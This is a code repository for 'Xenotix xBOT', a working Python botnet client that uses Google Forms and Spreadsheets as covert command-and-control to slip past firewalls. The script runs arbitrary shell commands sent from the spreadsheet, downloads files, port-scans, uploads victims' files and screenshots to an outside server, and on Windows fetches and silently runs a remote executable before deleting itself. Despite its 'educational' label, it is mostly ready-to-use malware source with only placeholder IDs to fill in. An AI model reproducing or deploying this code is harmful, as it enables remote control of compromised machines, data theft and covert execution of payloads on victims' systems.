├── .gitignore ├── README.md ├── LICENSE └── xenotix_xbot.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | bin/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | eggs/ 16 | lib/ 17 | lib64/ 18 | parts/ 19 | sdist/ 20 | var/ 21 | *.egg-info/ 22 | .installed.cfg 23 | *.egg 24 | 25 | # Installer logs 26 | pip-log.txt 27 | pip-delete-this-directory.txt 28 | 29 | # Unit test / coverage reports 30 | htmlcov/ 31 | .tox/ 32 | .coverage 33 | .cache 34 | nosetests.xml 35 | coverage.xml 36 | 37 | # Translations 38 | *.mo 39 | 40 | # Mr Developer 41 | .mr.developer.cfg 42 | .project 43 | .pydevproject 44 | 45 | # Rope 46 | .ropeproject 47 | 48 | # Django stuff: 49 | *.log 50 | *.pot 51 | 52 | # Sphinx documentation 53 | docs/_build/ 54 | 55 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Xenotix-xBOT 2 | ============ 3 | Xenotix xBOT is a proof of concept cross platform (Linux, Windows, Mac) bot written in Python that 4 | abuse certain Google Services to implement Command & Control Center for the botnet. The 5 | Google Apps Data API, Google Forms and Google Spreadsheet is abused to implement C2 for a 6 | bot network. The Google Forms can act as the C2 for a bot network. All the entries to the Google 7 | Form are send to an attached Spreadsheet. Here we can implement a bot that will listen to the 8 | Google Data API URL and extract the commands and later send back the response via the same 9 | Form. The Google Data API allows us to fetch the contents of a published spreadsheet in a variety 10 | of formats. The spreadsheet feeds are fetched in RSS format and will parsed. For implementing 11 | the bot we will parse through the source, fetch the commands and do the corresponding 12 | operations. 13 | 14 | xBOT's communication is encrypted as it uses Google's own SSL connection and is nowhere 15 | affected by any firewalls as it works at Application layer. The botnet's commands and 16 | responses are encrypted with SSL from Google Itself making it harder to sniff the bot’s 17 | communications in the network. It is a prototype bot with the bare minimum features of a Typical 18 | Bot. The intention of this tool is to give an idea about how Google API’s can be abused for 19 | Botnet Implementation. 20 | 21 | 22 | xBOT COMMANDS 23 | ============ 24 | * xSYSINFO : Get System Information 25 | * EXECUTE : Execute a passive system command 26 | * xDOWNLOAD : Download a file from an URL 27 | * xUPLOAD : Upload a file 28 | * xNETWORK : Get network information 29 | * xPORTSCAN : Run a Portscan 30 | * xSCREENSHOT : Grab a Screenshot 31 | * xKILL : Kill and Remove the xBOT. 32 | 33 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright {yyyy} {name of copyright owner} 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. -------------------------------------------------------------------------------- /xenotix_xbot.py: -------------------------------------------------------------------------------- 1 | ''' 2 | STRICTLY FOR EDUCATIONAL AND RESEARCH PURPOSES ONLY 3 | opensecurity.in 4 | 5 | Xenotix xBOT is a proof of concept cross platform (Linux, Windows, Mac) bot written in Python that 6 | abuse certain Google Services to implement Command & Control Center for the botnet. The 7 | Google Apps Data API, Google Forms and Google Spreadsheet is abused to implement C2 for a 8 | bot network. The Google Forms can act as the C2 for a bot network. All the entries to the Google 9 | Form are send to an attached Spreadsheet. Here we can implement a bot that will listen to the 10 | Google Data API URL and extract the commands and later send back the response via the same 11 | Form. The Google Data API allows us to fetch the contents of a published spreadsheet in a variety 12 | of formats. The spreadsheet feeds are fetched in RSS format and will parsed. For implementing 13 | the bot we will parse through the source, fetch the commands and do the corresponding 14 | operations. 15 | 16 | xBOT's communication is encrypted as it uses Google's own SSL connection and is nowhere 17 | affected by any firewalls as it works at Application layer. The botnet's commands and 18 | responses are encrypted with SSL from Google Itself making it harder to sniff the bot’s 19 | communications in the network. It is a prototype bot with the bare minimum features of a Typical 20 | Bot. The intention of this tool is to give an idea about how Google API’s can be abused for 21 | Botnet Implementation. 22 | 23 | ============= 24 | Xenotix xBOT 25 | xBOT COMMANDS 26 | ============ 27 | xSYSINFO : Get System Information 28 | xEXECUTE : Execute a passive system command 29 | xDOWNLOAD : Download a file from an URL 30 | xUPLOAD : Upload a file 31 | xNETWORK : Get network information 32 | xPORTSCAN : Run a Portscan 33 | xSCREENSHOT : Grab a Screenshot 34 | xKILL : Kill and Remove the xBOT. 35 | C&C:https://docs.google.com/forms/d/xxxxx/viewform 36 | ''' 37 | import __main__,urllib,urllib2,httplib,base64,threading,random,platform,os,subprocess 38 | from socket import * 39 | from HTMLParser import HTMLParser 40 | cmdrcv='' 41 | feed="https://spreadsheets.google.com/feeds/list/xxxxxx/od6/public/basic?alt=rss" 42 | actionurl="https://docs.google.com/forms/d/xxxxxx/formResponse" 43 | cmdz='entry.xxxx' 44 | resp='entry.xxxx' 45 | connected='entry.xxxx' 46 | #Command Extraction 47 | class MyParser(HTMLParser): 48 | commands = "" 49 | is_present = "" 50 | def handle_starttag(self, tag,attrs): 51 | if tag == 'description': 52 | self.is_present = 1 53 | def handle_data(self, data): 54 | global cmdrcv 55 | if self.is_present: 56 | if "command:" in data: 57 | self.commands = data 58 | cmdrcv=self.commands.replace("command: ","") 59 | self.is_title = 0 60 | 61 | #Thread for checking new commmands. 62 | class check_commands(threading.Thread): 63 | def __init__(self,botid): 64 | threading.Thread.__init__(self) 65 | self.event = threading.Event() 66 | self.botid=botid 67 | def run(self): 68 | global cmdrcv,connected,actionurl,cmdz,resp,feed 69 | try: 70 | while not self.event.is_set(): 71 | file=urllib2.urlopen(feed) 72 | xml=file.read() 73 | file.close() 74 | parser = MyParser() 75 | parser.feed(xml) 76 | print cmdrcv 77 | #self.id -->botid 78 | if botid in cmdrcv or "xBOTALL" in cmdrcv: 79 | print cmdrcv 80 | if botid in cmdrcv: 81 | cmdrcv=cmdrcv.replace(botid+' ','') 82 | elif "xBOTALL" in cmdrcv: 83 | cmdrcv=cmdrcv.replace("xBOTALL ","") 84 | if cmdrcv=="xSYSINFO": 85 | sys_info(cmdz,resp,botid) 86 | elif "xDOWNLOAD" in cmdrcv: 87 | url=cmdrcv.replace("xDOWNLOAD ","") 88 | download(url,cmdz,resp,botid) 89 | elif "xUPLOAD" in cmdrcv: 90 | filepath=cmdrcv.replace("xUPLOAD ","") 91 | upload(filepath,cmdz,resp,botid) 92 | elif "xEXECUTE" in cmdrcv: 93 | cmd=cmdrcv.replace("xEXECUTE ","") 94 | execute(cmd,cmdz,resp,botid) 95 | elif "xPORTSCAN" in cmdrcv: 96 | host=cmdrcv.replace("xPORTSCAN ","") 97 | portscan(host,cmdz,resp,botid) 98 | elif cmdrcv=="xSCREENSHOT": 99 | screenshot(cmdz,resp,botid) 100 | elif cmdrcv=="xNETWORK": 101 | network(cmdz,resp,botid) 102 | elif cmdrcv=="xKILL": 103 | selfkill(cmdz,resp,botid,actionurl,connected) 104 | elif cmdrcv=="xDONE": 105 | pass 106 | else: 107 | pass 108 | except: 109 | pass 110 | self.event.wait(4) 111 | #send back responses to C&C. 112 | def output(op_data,field): 113 | global actionurl 114 | response={field:op_data} 115 | try: 116 | dataenc=urllib.urlencode(response) 117 | req=urllib2.Request(actionurl,dataenc) 118 | urllib2.urlopen(req) 119 | except: 120 | pass 121 | #system information module 122 | def sys_info(cmdz,resp,botid): 123 | try: 124 | op='' 125 | if platform.system()=="Windows": 126 | for i in os.popen("systeminfo"): 127 | op=op+str(i) 128 | elif platform.system()=="Linux": 129 | for i in os.popen("cat /proc/version"): 130 | op=op+str(i) 131 | for i in os.popen("whoami"): 132 | op=op+"User: " +str(i) 133 | for i in os.popen("cat /proc/cpuinfo"): 134 | op=op+str(i) 135 | elif platform.system()=="Darwin": 136 | for i in os.popen("sw_vers"): 137 | op=op+str(i) 138 | for i in os.popen("system_profiler -detailLevel basic"): 139 | op=op+str(i) 140 | output(botid+': '+op,resp) 141 | output(botid+" xDONE",cmdz) 142 | except Exception as e: 143 | output(botid+': '+str(e),resp) 144 | #download module 145 | def download(url,cmdz,resp,botid): 146 | try: 147 | filename=url.split('/') 148 | filename=filename.pop() 149 | f=urllib2.urlopen(url) 150 | data=f.read() 151 | f.close() 152 | final=open(filename, "wb") 153 | final.write(data) 154 | final.close() 155 | output(botid+': '+filename + " downloaded sucessfully",resp) 156 | output(botid+" xDONE",cmdz) 157 | except Exception as e: 158 | output(botid+": Download failed with exception: "+str(e),resp) 159 | #execute system commands 160 | def execute(exe,cmdz,resp,botid): 161 | try: 162 | op='' 163 | for i in os.popen(exe): 164 | op=op+str(i) 165 | output(botid+": "+op,resp) 166 | output(botid+" xDONE",cmdz) 167 | except Exception as e: 168 | output(botid+": "+str(e),resp) 169 | #file upload module 170 | def upload(filepath,cmdz,resp,botid): 171 | try: 172 | fileupload(filepath,"/data/up.php") 173 | if platform.system()=="Windows": 174 | if "\\" in filepath: 175 | filename=filepath.split('\\') 176 | filename=filename.pop() 177 | else: 178 | filename=filepath 179 | elif platform.system()=="Darwin" or platform.system()=="Linux": 180 | if '/' in filepath: 181 | filename=filepath.split('/') 182 | filename=filename.pop() 183 | else: 184 | filename=filepath 185 | output(botid+": http://xboz.xxxxxcom/data/files/"+filename,resp) 186 | output(botid+" xDONE",cmdz) 187 | except Exception as e: 188 | output(botid+": "+str(e),resp) 189 | #network module 190 | def network(cmdz,resp,botid): 191 | try: 192 | op='' 193 | if platform.system()=="Windows": 194 | for i in os.popen("ipconfig"): 195 | op=op+str(i) 196 | elif platform.system()=="Darwin" or platform.system()=="Linux": 197 | for i in os.popen("ifconfig"): 198 | op=op+str(i) 199 | output(botid+": "+op,resp) 200 | output(botid+" xDONE",cmdz) 201 | except Exception as e: 202 | output(botid+': '+str(e),resp) 203 | #portscanner module 204 | def portscan(host,cmdz,resp,botid): 205 | try: 206 | op='Starting Port Scanner ' 207 | targetIP = gethostbyname(host) 208 | for i in range(20, 5000): 209 | s = socket(AF_INET, SOCK_STREAM) 210 | result = s.connect_ex((targetIP, i)) 211 | if(result == 0) : 212 | op=op+'PORT %d: OPEN\n' %(i,) 213 | s.close() 214 | output(botid+": "+op,resp) 215 | output(botid+" xDONE",cmdz) 216 | except Exception as e: 217 | output(botid+": "+str(e),resp) 218 | #screenshot module 219 | def screenshot(cmdz,resp,botid): 220 | try: 221 | if platform.system()=='Linux': 222 | os.system("gnome-screenshot -f screenshot.png") 223 | elif platform.system()=='Darwin': 224 | os.system("screencapture -x -t png /var/TMP/screenshot.png") 225 | elif platform.system()=='Windows': 226 | f=urllib2.urlopen("http://xboz.xxxx.com/data/screenshot.exe") 227 | data=f.read() 228 | f.close() 229 | final=open("screenshot.exe", "wb") 230 | final.write(data) 231 | final.close() 232 | info = subprocess.STARTUPINFO() 233 | info.dwFlags = 1 234 | info.wShowWindow = 0 235 | subprocess.Popen("screenshot.exe", startupinfo=info) 236 | os.remove("screenshot.exe") 237 | if platform.system()=='Darwin': 238 | fileupload("/var/TMP/screenshot.png","/screenshot/up.php") 239 | os.remove("/var/TMP/screenshot.png") 240 | else: 241 | fileupload("screenshot.png","/screenshot/up.php") 242 | os.remove('screenshot.png') 243 | output(botid+": http://xboz.xxxxx.com/screenshot/screenshot.png",resp) 244 | output(botid+" xDONE",cmdz) 245 | except Exception as e: 246 | output(botid +": "+str(e),resp) 247 | #kill and terminate 248 | def selfkill(cmdz,resp,botid,actionurl,field): 249 | try: 250 | x=str(__main__.__file__) 251 | os.remove(x) 252 | output(botid+" xBOT TERMINATED AND REMOVED!!",resp) 253 | output(botid+" xDONE",cmdz) 254 | response={field:botid+": DEAD"} 255 | dataenc=urllib.urlencode(response) 256 | req=urllib2.Request(actionurl,dataenc) 257 | urllib2.urlopen(req) 258 | exit(0) 259 | except Exception as e: 260 | output(botid+": "+str(e),resp) 261 | #remote file upload 262 | def fileupload(path,remote_dir): 263 | data = open(path, 'rb').read() 264 | encodedData = base64.encodestring( data ) 265 | headers = { "Content-type": "application/x-www-form-urlencoded", 266 | "Accept": "text/plain", 267 | } 268 | params = urllib.urlencode({ u'fileName': os.path.split(path)[1], 269 | u'data':encodedData}) 270 | conn = httplib.HTTPConnection( "xboz.xxxxx.com") 271 | conn.request( "POST", remote_dir, params, headers ) 272 | response = conn.getresponse( ) 273 | conn.close( ) 274 | #unique bot registration 275 | def bot_reg(actionurl,field): 276 | botid="unknown" 277 | if platform.system()=="Windows": 278 | botid="xBOTW"+str(random.randrange(1,500)) 279 | elif platform.system()=="Linux": 280 | botid="xBOTL"+str(random.randrange(501,1000)) 281 | elif platform.system()=="Darwin": 282 | botid="xBOTM"+str(random.randrange(1001,1500)) 283 | response={field:botid} 284 | try: 285 | dataenc=urllib.urlencode(response) 286 | req=urllib2.Request(actionurl,dataenc) 287 | urllib2.urlopen(req) 288 | except: 289 | botid="nil" 290 | pass 291 | return botid 292 | botid="nil" 293 | while botid=="nil": 294 | botid=bot_reg(actionurl,connected) 295 | if "nil" not in botid: 296 | break 297 | print "xBOT id:"+botid 298 | xbot=check_commands(botid) 299 | xbot.start() 300 | 301 | --------------------------------------------------------------------------------